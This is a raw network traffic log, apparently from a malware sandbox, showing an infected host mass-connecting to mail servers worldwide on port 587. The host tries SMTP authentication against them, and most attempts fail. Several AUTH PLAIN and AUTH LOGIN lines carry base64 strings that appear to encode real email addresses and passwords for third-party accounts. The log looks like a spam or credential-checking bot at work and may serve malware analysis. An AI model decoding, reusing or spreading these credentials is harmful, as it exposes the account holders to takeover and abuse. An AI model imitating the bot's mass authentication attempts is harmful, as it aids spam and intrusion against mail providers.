May 19, 2024 17:27:49.329701900 CEST	49948	587	192.168.2.4	182.248.170.226	STARTTLS
May 19, 2024 17:27:49.429657936 CEST	587	49951	84.116.6.22	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:49.520313025 CEST	587	49994	65.20.63.172	192.168.2.4	220 altprdrgo06.altice.prod.cloud.openwave.ai ESMTP Service ready
May 19, 2024 17:27:49.571758986 CEST	587	49984	84.116.6.19	192.168.2.4	421 csmtp4-prd-nl1-vmo.edge.unified.services csmtp4-prd-nl1-vmo.edge.unified.services Too many connections (VM410)
May 19, 2024 17:27:49.571847916 CEST	587	49955	41.193.157.227	192.168.2.4	250-smtp.vox.co.za Hello mail.absamail.co.za [208.252.80.51] 250-SIZE 41943040 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:49.573723078 CEST	49764	587	192.168.2.4	64.136.52.44	AUTH PLAIN AGtremlua0BuZXR6ZXJvLm5ldABrZW5kYWx5bjE=
May 19, 2024 17:27:49.574440002 CEST	49974	587	192.168.2.4	194.181.93.175	EHLO poczta.pl
May 19, 2024 17:27:49.574737072 CEST	49765	587	192.168.2.4	64.136.52.44	AUTH PLAIN AGtpY2tiYWNrNzZAbmV0emVyby5uZXQATGlyZXR0ZTI=
May 19, 2024 17:27:49.620359898 CEST	587	49940	157.7.144.20	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:49.620404959 CEST	587	49948	182.248.170.226	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:49.620436907 CEST	587	49997	66.133.129.10	192.168.2.4	220 relay03.roch.ny.frontiernet.net ESMTP Postfix
May 19, 2024 17:27:49.677397966 CEST	587	49961	41.193.157.227	192.168.2.4	250-smtp.vox.co.za Hello mail.absamail.co.za [208.252.80.51] 250-SIZE 41943040 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:49.730344057 CEST	49959	587	192.168.2.4	193.122.179.25	STARTTLS
May 19, 2024 17:27:49.796905994 CEST	587	49974	194.181.93.175	192.168.2.4	250-op13 Hello poczta.pl [208.252.80.51] 250-SIZE 524288000 250-8BITMIME 250-PIPELINING 250-AUTH LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:49.845480919 CEST	587	49959	193.122.179.25	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:49.880095005 CEST	587	49998	182.248.170.226	192.168.2.4	220 au.com ESMTP Au_mail
May 19, 2024 17:27:50.043313980 CEST	587	50001	83.102.40.117	192.168.2.4	220 smtp.dnainternet.net ESMTP Postfix
May 19, 2024 17:27:50.048964977 CEST	587	50000	213.172.96.34	192.168.2.4	220 hub2.mk.de ESMTP Postfix
May 19, 2024 17:27:50.202914000 CEST	587	50002	103.82.242.210	192.168.2.4	220 ptsi.idcloudhosting.com
May 19, 2024 17:27:50.338754892 CEST	49789	587	192.168.2.4	142.93.237.125	STARTTLS
May 19, 2024 17:27:50.339277029 CEST	49871	587	192.168.2.4	65.20.63.172	STARTTLS
May 19, 2024 17:27:50.393572092 CEST	587	50007	164.90.197.79	192.168.2.4	220 mail.telecomver.com ESMTP; NO UCE
May 19, 2024 17:27:50.448477983 CEST	49963	587	192.168.2.4	83.223.113.41	STARTTLS
May 19, 2024 17:27:50.453275919 CEST	587	49871	65.20.63.172	192.168.2.4	220 begin TLS negotiation
May 19, 2024 17:27:50.483568907 CEST	587	50011	164.90.203.106	192.168.2.4	220 mx.breakthur.com ESMTP
May 19, 2024 17:27:50.531089067 CEST	49986	587	192.168.2.4	209.67.129.100	EHLO mail.clds.net
May 19, 2024 17:27:50.543195009 CEST	587	49789	142.93.237.125	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:50.629592896 CEST	49964	587	192.168.2.4	201.193.191.44	STARTTLS
May 19, 2024 17:27:50.642841101 CEST	587	49963	83.223.113.41	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:50.721429110 CEST	587	49986	209.67.129.100	192.168.2.4	250-SIZE 0 250-AUTH LOGIN 250-AUTH=LOGIN 250-8BITMIME 250 STARTTLS
May 19, 2024 17:27:50.731982946 CEST	49825	587	192.168.2.4	142.93.237.125	STARTTLS
May 19, 2024 17:27:50.837507010 CEST	587	49964	201.193.191.44	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:50.838258982 CEST	49823	587	192.168.2.4	202.124.241.204	AUTH PLAIN AGJyZW50b25AYnJlYWtkZXNpZ24uY29tLmF1AEp1bmtwYXNzd29yZDEh
May 19, 2024 17:27:50.909246922 CEST	587	50013	41.193.157.227	192.168.2.4	220 smtp.vox.co.za ESMTP Exim 4.93.0.4 Sun, 19 May 2024 17:27:50 +0200
May 19, 2024 17:27:50.939452887 CEST	587	49825	142.93.237.125	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:50.959615946 CEST	587	49934	65.20.63.172	192.168.2.4	250-altprdrgo02.altice.prod.cloud.openwave.ai 250-DSN 250-8BITMIME 250-AUTH=LOGIN 250-AUTH LOGIN PLAIN 250-STARTTLS 250-DELIVERBY 300 250 SIZE 104857600
May 19, 2024 17:27:51.061219931 CEST	587	50005	47.43.18.10	192.168.2.4	554 impout007.msg.chrl.nc.charter.net cmsmtp 208.252.80.51 blocked. Please see https://www.spectrum.net/support/internet/understanding-email-error-codes for more information. AUP#Out-1130
May 19, 2024 17:27:51.113816023 CEST	49968	587	192.168.2.4	168.0.132.203	STARTTLS
May 19, 2024 17:27:51.165935993 CEST	587	49823	202.124.241.204	192.168.2.4	535 Incorrect authentication data
May 19, 2024 17:27:51.214677095 CEST	49831	587	192.168.2.4	142.93.237.125	STARTTLS
May 19, 2024 17:27:51.214755058 CEST	49989	587	192.168.2.4	40.99.157.50	EHLO mail.edhec.com
May 19, 2024 17:27:51.247813940 CEST	587	50015	193.54.32.8	192.168.2.4	220 mta-out2.mel.univ-lorraine.fr ESMTP Postfix
May 19, 2024 17:27:51.339164972 CEST	587	49968	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:51.388766050 CEST	587	49778	142.93.237.125	192.168.2.4	471 Internal error, retry later
May 19, 2024 17:27:51.403214931 CEST	587	49989	40.99.157.50	192.168.2.4	250-FR2P281CA0136.outlook.office365.com Hello [208.252.80.51] 250-SIZE 157286400 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-STARTTLS 250-8BITMIME 250-BINARYMIME 250-CHUNKING 250 SMTPUTF8
May 19, 2024 17:27:51.417073011 CEST	587	50026	129.159.94.43	192.168.2.4	220 2.0.0 mail.tds.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:51 -0400
May 19, 2024 17:27:51.417124987 CEST	587	50023	62.149.128.202	192.168.2.4	220 smtpdh20.ad.aruba.it Aruba Outgoing Smtp ESMTP server ready
May 19, 2024 17:27:51.471290112 CEST	49994	587	192.168.2.4	65.20.63.172	EHLO mail.optonline.net
May 19, 2024 17:27:51.471290112 CEST	49955	587	192.168.2.4	41.193.157.227	STARTTLS
May 19, 2024 17:27:51.517592907 CEST	587	49831	142.93.237.125	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:51.540297985 CEST	587	49866	64.136.52.44	192.168.2.4	535 smtpout01.vgs.untd.com Authentication failed
May 19, 2024 17:27:51.574229956 CEST	49997	587	192.168.2.4	66.133.129.10	EHLO smtp.frontiernet.net
May 19, 2024 17:27:51.574835062 CEST	49961	587	192.168.2.4	41.193.157.227	STARTTLS
May 19, 2024 17:27:51.699695110 CEST	587	49997	66.133.129.10	192.168.2.4	250-relay03.roch.ny.frontiernet.net 250-PIPELINING 250-SIZE 36350634 250-ETRN 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:51.735363960 CEST	587	49779	142.93.237.125	192.168.2.4	471 Internal error, retry later
May 19, 2024 17:27:51.832283020 CEST	587	49955	41.193.157.227	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:51.969322920 CEST	587	49961	41.193.157.227	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:52.042130947 CEST	587	50031	46.255.231.19	192.168.2.4	220 smtp.centrum.sk ESMTP server ready
May 19, 2024 17:27:52.081872940 CEST	587	50033	129.159.125.229	192.168.2.4	220 2.0.0 smtp.knology.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:51 -0400
May 19, 2024 17:27:52.171700954 CEST	587	50035	207.211.30.141	192.168.2.4	220 us-smtp-inbound-1.mimecast.com ESMTP; Sun, 19 May 2024 11:27:51 -0400
May 19, 2024 17:27:52.307955027 CEST	587	50037	193.122.179.25	192.168.2.4	220 2.0.0 mail.windstream.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:52 -0400
May 19, 2024 17:27:52.329812050 CEST	587	50036	81.2.195.204	192.168.2.4	220 cmg2.smtp.forpsi.com cmgsmtp ESMTP server ready
May 19, 2024 17:27:52.758030891 CEST	587	49909	64.136.52.44	192.168.2.4	535 smtpout02.vgs.untd.com Authentication failed
May 19, 2024 17:27:52.824774027 CEST	49974	587	192.168.2.4	194.181.93.175	STARTTLS
May 19, 2024 17:27:52.825373888 CEST	49998	587	192.168.2.4	182.248.170.226	EHLO smtp.ezweb.ne.jp
May 19, 2024 17:27:52.826903105 CEST	50001	587	192.168.2.4	83.102.40.117	EHLO smtp.phnet.fi
May 19, 2024 17:27:52.826956034 CEST	50000	587	192.168.2.4	213.172.96.34	EHLO mail.riz-itmotion.de
May 19, 2024 17:27:52.827527046 CEST	50002	587	192.168.2.4	103.82.242.210	EHLO smtp.ptsi.co.id
May 19, 2024 17:27:52.830034971 CEST	50007	587	192.168.2.4	164.90.197.79	EHLO mx37.mb5p.com
May 19, 2024 17:27:52.830357075 CEST	50011	587	192.168.2.4	164.90.203.106	EHLO mx.breakthur.com
May 19, 2024 17:27:52.889431000 CEST	587	50022	195.238.20.30	192.168.2.4	220-smtp.skynet.be ESMTP 220 Belgacom relay service - authentication required!
May 19, 2024 17:27:53.031435966 CEST	587	50000	213.172.96.34	192.168.2.4	250-hub2.mk.de 250-PIPELINING 250-SIZE 102400000 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
May 19, 2024 17:27:53.036392927 CEST	587	50011	164.90.203.106	192.168.2.4	250-Welcome 250-8BITMIME 250-ETRN 250-SMTPUTF8 250-PIPELINING 250-SIZE 4194304 250-DSN 250-REQUIRETLS 250 HELP
May 19, 2024 17:27:53.036499023 CEST	587	50007	164.90.197.79	192.168.2.4	250-Welcome 250-8BITMIME 250-ETRN 250-SMTPUTF8 250-PIPELINING 250-SIZE 4194304 250-DSN 250-REQUIRETLS 250-STARTTLS 250 HELP
May 19, 2024 17:27:53.040862083 CEST	587	50001	83.102.40.117	192.168.2.4	250-kirsikkapuu2.dnainternet.net 250-PIPELINING 250-SIZE 104857600 250-VRFY 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
May 19, 2024 17:27:53.052090883 CEST	587	49974	194.181.93.175	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:53.106703997 CEST	587	49998	182.248.170.226	192.168.2.4	250-airosk00fep089 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-SIZE 3145728 250-DSN 250-STARTTLS 250-DELIVERBY 250-HELP 250 AUTH PLAIN LOGIN CRAM-MD5
May 19, 2024 17:27:53.117141962 CEST	49986	587	192.168.2.4	209.67.129.100	STARTTLS
May 19, 2024 17:27:53.118196011 CEST	50013	587	192.168.2.4	41.193.157.227	EHLO mail.absamail.co.za
May 19, 2024 17:27:53.118407011 CEST	49934	587	192.168.2.4	65.20.63.172	STARTTLS
May 19, 2024 17:27:53.199691057 CEST	587	50002	103.82.242.210	192.168.2.4	250-ptsi.idcloudhosting.com Hello [208.252.80.51] 250-SIZE 41943040 250-AUTH LOGIN CRAM-MD5 250-STARTTLS 250-8BITMIME 250-DSN 250 OK
May 19, 2024 17:27:53.228719950 CEST	587	49934	65.20.63.172	192.168.2.4	220 begin TLS negotiation
May 19, 2024 17:27:53.294301033 CEST	587	49986	209.67.129.100	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:53.329088926 CEST	50015	587	192.168.2.4	193.54.32.8	EHLO smtp.univ-lorraine.fr
May 19, 2024 17:27:53.329538107 CEST	49989	587	192.168.2.4	40.99.157.50	STARTTLS
May 19, 2024 17:27:53.418663025 CEST	587	49823	202.124.241.204	192.168.2.4	500 unrecognized command
May 19, 2024 17:27:53.430207968 CEST	50023	587	192.168.2.4	62.149.128.202	EHLO smtp.newprestitempo.it
May 19, 2024 17:27:53.430335045 CEST	50026	587	192.168.2.4	129.159.94.43	EHLO smtp.tds.net
May 19, 2024 17:27:53.464139938 CEST	587	50013	41.193.157.227	192.168.2.4	250-smtp.vox.co.za Hello mail.absamail.co.za [208.252.80.51] 250-SIZE 41943040 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:53.501276970 CEST	587	49789	142.93.237.125	192.168.2.4	471 Internal error, retry later
May 19, 2024 17:27:53.542078018 CEST	587	49989	40.99.157.50	192.168.2.4	220 2.0.0 SMTP server ready
May 19, 2024 17:27:53.542108059 CEST	587	50015	193.54.32.8	192.168.2.4	250-mta-out2.mel.univ-lorraine.fr 250-PIPELINING 250-SIZE 20971520 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
May 19, 2024 17:27:53.542190075 CEST	587	50026	129.159.94.43	192.168.2.4	250-smtp01.tds.email-ash1.sync.lan says EHLO to 208.252.80.51:27371 250-8BITMIME 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-AUTH=LOGIN 250-AUTH LOGIN 250 XDUMPCONTEXT
May 19, 2024 17:27:53.657418966 CEST	587	50023	62.149.128.202	192.168.2.4	250-smtpdh20.ad.aruba.it hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 524288000 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:53.658101082 CEST	49997	587	192.168.2.4	66.133.129.10	AUTH LOGIN c2xlZWRvcnRpekBmcm9udGllcm5ldC5uZXQ=
May 19, 2024 17:27:53.721452951 CEST	587	49866	64.136.52.44	192.168.2.4	500 Command unrecognized
May 19, 2024 17:27:53.762252092 CEST	50031	587	192.168.2.4	46.255.231.19	EHLO smtp.centrum.sk
May 19, 2024 17:27:53.762423038 CEST	50033	587	192.168.2.4	129.159.125.229	EHLO smtp.knology.net
May 19, 2024 17:27:53.798463106 CEST	587	49997	66.133.129.10	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:27:53.816272974 CEST	587	50056	87.248.97.31	192.168.2.4	220 smtp.mail.yahoo.com ESMTP ready
May 19, 2024 17:27:53.820926905 CEST	587	50054	84.116.6.22	192.168.2.4	220 csmtp6-prd-nl1-vmo.edge.unified.services csmtp6-prd-nl1-vmo.edge.unified.services ESMTP server ready
May 19, 2024 17:27:53.830446005 CEST	587	50063	38.111.141.32	192.168.2.4	220 MX01.MAIL.ECHOLABS.NET Echo Labs ESMTP server ready
May 19, 2024 17:27:53.876755953 CEST	587	50042	168.0.132.203	192.168.2.4	220 smtp1.smtp.skymail.prv ESMTP
May 19, 2024 17:27:53.896622896 CEST	587	49825	142.93.237.125	192.168.2.4	471 Internal error, retry later
May 19, 2024 17:27:53.918277979 CEST	587	50033	129.159.125.229	192.168.2.4	250-smtp01.wow.email-ash1.sync.lan says EHLO to 208.252.80.51:27390 250-STARTTLS 250-AUTH=LOGIN 250-AUTH LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-XDUMPCONTEXT 250 PIPELINING
May 19, 2024 17:27:53.972868919 CEST	50035	587	192.168.2.4	207.211.30.141	EHLO us-smtp-inbound-2.mimecast.com
May 19, 2024 17:27:53.972923040 CEST	50036	587	192.168.2.4	81.2.195.204	EHLO smtp.konto.pl
May 19, 2024 17:27:53.972973108 CEST	50037	587	192.168.2.4	193.122.179.25	EHLO mail.windstream.net
May 19, 2024 17:27:53.993047953 CEST	587	50067	65.20.63.172	192.168.2.4	220 altprdrgo03.altice.prod.cloud.openwave.ai ESMTP Service ready
May 19, 2024 17:27:53.998001099 CEST	587	50031	46.255.231.19	192.168.2.4	250-gm-smtp10.centrum.cz 250-PIPELINING 250-SIZE 26214400 250-STARTTLS 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 CHUNKING
May 19, 2024 17:27:54.026551008 CEST	587	50038	124.156.190.79	192.168.2.4	220 smtp.qq.com Esmtp QQ QMail Server
May 19, 2024 17:27:54.032284021 CEST	587	50064	168.0.132.203	192.168.2.4	220 smtp4.smtp.skymail.prv ESMTP
May 19, 2024 17:27:54.047816992 CEST	587	49909	64.136.52.44	192.168.2.4	500 Command unrecognized
May 19, 2024 17:27:54.093497038 CEST	587	50037	193.122.179.25	192.168.2.4	250-smtp03.aqua.email-ash1.sync.lan says EHLO to 208.252.80.51:27398 250-AUTH=LOGIN 250-AUTH LOGIN 250-8BITMIME 250-PIPELINING 250-XDUMPCONTEXT 250-STARTTLS 250 ENHANCEDSTATUSCODES
May 19, 2024 17:27:54.093529940 CEST	587	50035	207.211.30.141	192.168.2.4	250-us-smtp-inbound-1.mimecast.com Hello [208.252.80.51] 250-STARTTLS 250 HELP
May 19, 2024 17:27:54.136280060 CEST	587	50066	162.241.203.50	192.168.2.4	220-br988.hostgator.com.br ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 12:27:54 -0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:54.258047104 CEST	587	49831	142.93.237.125	192.168.2.4	471 Internal error, retry later
May 19, 2024 17:27:54.258078098 CEST	587	50036	81.2.195.204	192.168.2.4	250-cmg2.smtp.forpsi.com hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 107374592 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:54.263144016 CEST	50001	587	192.168.2.4	83.102.40.117	STARTTLS
May 19, 2024 17:27:54.263195038 CEST	49998	587	192.168.2.4	182.248.170.226	STARTTLS
May 19, 2024 17:27:54.263314009 CEST	50000	587	192.168.2.4	213.172.96.34	STARTTLS
May 19, 2024 17:27:54.263813972 CEST	50022	587	192.168.2.4	195.238.20.30	EHLO smtp.skynet.be
May 19, 2024 17:27:54.328115940 CEST	587	50059	84.2.43.67	192.168.2.4	220 smtp.freemail.hu ESMTP
May 19, 2024 17:27:54.357741117 CEST	50007	587	192.168.2.4	164.90.197.79	STARTTLS
May 19, 2024 17:27:54.470407963 CEST	587	50000	213.172.96.34	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:54.470853090 CEST	50011	587	192.168.2.4	164.90.203.106	AUTH LOGIN YXRyb3JpZW9yaXhvdUBmaW5hbGp1ZGdld2Vic2l0ZS5jb20=
May 19, 2024 17:27:54.485337973 CEST	587	50001	83.102.40.117	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:54.485366106 CEST	587	50022	195.238.20.30	192.168.2.4	250-smtp.skynet.be 250-8BITMIME 250-SIZE 26214400 250 STARTTLS
May 19, 2024 17:27:54.547488928 CEST	587	49998	182.248.170.226	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:54.569112062 CEST	587	50007	164.90.197.79	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:54.569143057 CEST	587	50073	41.193.157.227	192.168.2.4	220 smtp.vox.co.za ESMTP Exim 4.93.0.4 Sun, 19 May 2024 17:27:54 +0200
May 19, 2024 17:27:54.682616949 CEST	587	50011	164.90.203.106	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:27:54.761394978 CEST	587	49765	64.136.52.44	192.168.2.4	535 smtpout02.vgs.untd.com Authentication failed
May 19, 2024 17:27:54.766168118 CEST	587	49764	64.136.52.44	192.168.2.4	535 smtpout01.vgs.untd.com Authentication failed
May 19, 2024 17:27:54.808444977 CEST	50002	587	192.168.2.4	103.82.242.210	STARTTLS
May 19, 2024 17:27:55.127924919 CEST	587	50080	212.85.98.214	192.168.2.4	220 cloudserver000722.home.pl ESMTP Mailsystemx
May 19, 2024 17:27:55.171179056 CEST	587	50002	103.82.242.210	192.168.2.4	220 Start TLS negotiation
May 19, 2024 17:27:55.306269884 CEST	49765	587	192.168.2.4	64.136.52.44	QUIT
May 19, 2024 17:27:55.306394100 CEST	49764	587	192.168.2.4	64.136.52.44	QUIT
May 19, 2024 17:27:55.313498974 CEST	49823	587	192.168.2.4	202.124.241.204	QUIT
May 19, 2024 17:27:55.313657045 CEST	50013	587	192.168.2.4	41.193.157.227	STARTTLS
May 19, 2024 17:27:55.369873047 CEST	50015	587	192.168.2.4	193.54.32.8	STARTTLS
May 19, 2024 17:27:55.370310068 CEST	50026	587	192.168.2.4	129.159.94.43	STARTTLS
May 19, 2024 17:27:55.449489117 CEST	587	50075	84.116.6.22	192.168.2.4	421 csmtp4-prd-nl1-vmo.edge.unified.services csmtp4-prd-nl1-vmo.edge.unified.services Too many connections (VM410)
May 19, 2024 17:27:55.481688023 CEST	587	49765	64.136.52.44	192.168.2.4	221 smtpout02.vgs.untd.com Closing connection
May 19, 2024 17:27:55.481746912 CEST	587	49764	64.136.52.44	192.168.2.4	221 smtpout01.vgs.untd.com Closing connection
May 19, 2024 17:27:55.481956005 CEST	50023	587	192.168.2.4	62.149.128.202	STARTTLS
May 19, 2024 17:27:55.482374907 CEST	49866	587	192.168.2.4	64.136.52.44	AUTH PLAIN AG9uY2VncjhAbmV0emVyby5uZXQAUGFzc3cwcmQ=
May 19, 2024 17:27:55.485608101 CEST	50054	587	192.168.2.4	84.116.6.22	EHLO smtp.ntlworld.com
May 19, 2024 17:27:55.511482954 CEST	587	50026	129.159.94.43	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:55.598989964 CEST	587	50015	193.54.32.8	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:55.599037886 CEST	587	50082	52.62.236.135	192.168.2.4	220 cmr-kakadu03.i-0fcc5e98d3fe28add - SMTP Ready
May 19, 2024 17:27:55.604993105 CEST	50063	587	192.168.2.4	38.111.141.32	EHLO mail.atlanticbb.net
May 19, 2024 17:27:55.605169058 CEST	50056	587	192.168.2.4	87.248.97.31	EHLO smtp.cs.com
May 19, 2024 17:27:55.605330944 CEST	50042	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:27:55.617166996 CEST	587	49997	66.133.129.10	192.168.2.4	535 5.7.8 Error: authentication failed: authentication failure
May 19, 2024 17:27:55.622251034 CEST	587	49823	202.124.241.204	192.168.2.4	221 smtp-1.servers.netregistry.net closing connection
May 19, 2024 17:27:55.660526037 CEST	587	50013	41.193.157.227	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:55.687066078 CEST	587	50054	84.116.6.22	192.168.2.4	250-csmtp6-prd-nl1-vmo.edge.unified.services hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 52000000 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:55.694071054 CEST	587	50023	62.149.128.202	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:55.703974962 CEST	50033	587	192.168.2.4	129.159.125.229	STARTTLS
May 19, 2024 17:27:55.704210997 CEST	50067	587	192.168.2.4	65.20.63.172	EHLO mail.optonline.net
May 19, 2024 17:27:55.704297066 CEST	50031	587	192.168.2.4	46.255.231.19	STARTTLS
May 19, 2024 17:27:55.794945955 CEST	587	50056	87.248.97.31	192.168.2.4	250-hermes--production-ir2-7b99fc9bb6-hcsdk Hello smtp.cs.com [208.252.80.51]) 250-PIPELINING 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-SIZE 41697280 250 STARTTLS
May 19, 2024 17:27:55.806476116 CEST	50038	587	192.168.2.4	124.156.190.79	EHLO smtp.winreach.com
May 19, 2024 17:27:55.806535006 CEST	50064	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:27:55.806829929 CEST	49909	587	192.168.2.4	64.136.52.44	AUTH PLAIN AHIua2hhbm5hMUBuZXR6ZXJvLm5ldAByYWphbjU=
May 19, 2024 17:27:55.807087898 CEST	50037	587	192.168.2.4	193.122.179.25	STARTTLS
May 19, 2024 17:27:55.854784012 CEST	587	50033	129.159.125.229	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:55.854923010 CEST	587	50042	168.0.132.203	192.168.2.4	250-smtp1.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:55.854954004 CEST	587	50084	168.0.132.203	192.168.2.4	220 smtp1.smtp.skymail.prv ESMTP
May 19, 2024 17:27:55.906481028 CEST	50035	587	192.168.2.4	207.211.30.141	STARTTLS
May 19, 2024 17:27:55.906691074 CEST	50066	587	192.168.2.4	162.241.203.50	EHLO inovaadministradora.com.br
May 19, 2024 17:27:55.933128119 CEST	587	50031	46.255.231.19	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:55.933217049 CEST	587	50037	193.122.179.25	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:56.029417992 CEST	587	50063	38.111.141.32	192.168.2.4	250-MX01.MAIL.ECHOLABS.NET hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 52428800 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:56.034560919 CEST	587	50035	207.211.30.141	192.168.2.4	220 Starting TLS [h9Q-7RYzNTOfvgNcDk8NGg.us557]
May 19, 2024 17:27:56.081542969 CEST	587	50064	168.0.132.203	192.168.2.4	250-smtp4.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:56.081619978 CEST	587	50066	162.241.203.50	192.168.2.4	250-br988.hostgator.com.br Hello inovaadministradora.com.br [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:56.081777096 CEST	50036	587	192.168.2.4	81.2.195.204	STARTTLS
May 19, 2024 17:27:56.133625984 CEST	587	50038	124.156.190.79	192.168.2.4	250-smtp.qq.com 250-PIPELINING 250-SIZE 73400320 250-STARTTLS 250-AUTH LOGIN PLAIN 250-AUTH=LOGIN 250-MAILCOMPRESS 250 8BITMIME
May 19, 2024 17:27:56.139806032 CEST	50059	587	192.168.2.4	84.2.43.67	EHLO smtp.freemail.hu
May 19, 2024 17:27:56.185470104 CEST	587	50070	194.152.32.10	192.168.2.4	220 mail.inbox.lv relay for customers ESMTP ready
May 19, 2024 17:27:56.292824030 CEST	587	50036	81.2.195.204	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:56.344753027 CEST	50022	587	192.168.2.4	195.238.20.30	STARTTLS
May 19, 2024 17:27:56.344974995 CEST	50073	587	192.168.2.4	41.193.157.227	EHLO mail.absamail.co.za
May 19, 2024 17:27:56.354718924 CEST	587	50086	41.193.157.227	192.168.2.4	220 smtp.vox.co.za ESMTP Exim 4.93.0.4 Sun, 19 May 2024 17:27:56 +0200
May 19, 2024 17:27:56.365708113 CEST	587	50089	41.193.157.227	192.168.2.4	220 smtp.vox.co.za ESMTP Exim 4.93.0.4 Sun, 19 May 2024 17:27:56 +0200
May 19, 2024 17:27:56.391345024 CEST	587	50059	84.2.43.67	192.168.2.4	250-smtp.freemail.hu 250-PIPELINING 250-SIZE 52428800 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:56.404284954 CEST	587	50094	62.149.128.200	192.168.2.4	220 smtpdh18.ad.aruba.it Aruba Outgoing Smtp ESMTP server ready
May 19, 2024 17:27:56.501075029 CEST	587	50074	103.13.28.93	192.168.2.4	220-Hello 208.252.80.51! 220-Welcome to ThaiZone Mail Server http://thaizone.com/products/mailhosting/ 220-Forbids use of this system for unsolicited electronic mail advertisements. 220 bkk.thaizone.com ESMTP Ready at Sun, 19 May 2024 22:27:56 +0700
May 19, 2024 17:27:56.511900902 CEST	50080	587	192.168.2.4	212.85.98.214	EHLO mcd.com.pl
May 19, 2024 17:27:56.548230886 CEST	587	50022	195.238.20.30	192.168.2.4	220 Go ahead with TLS
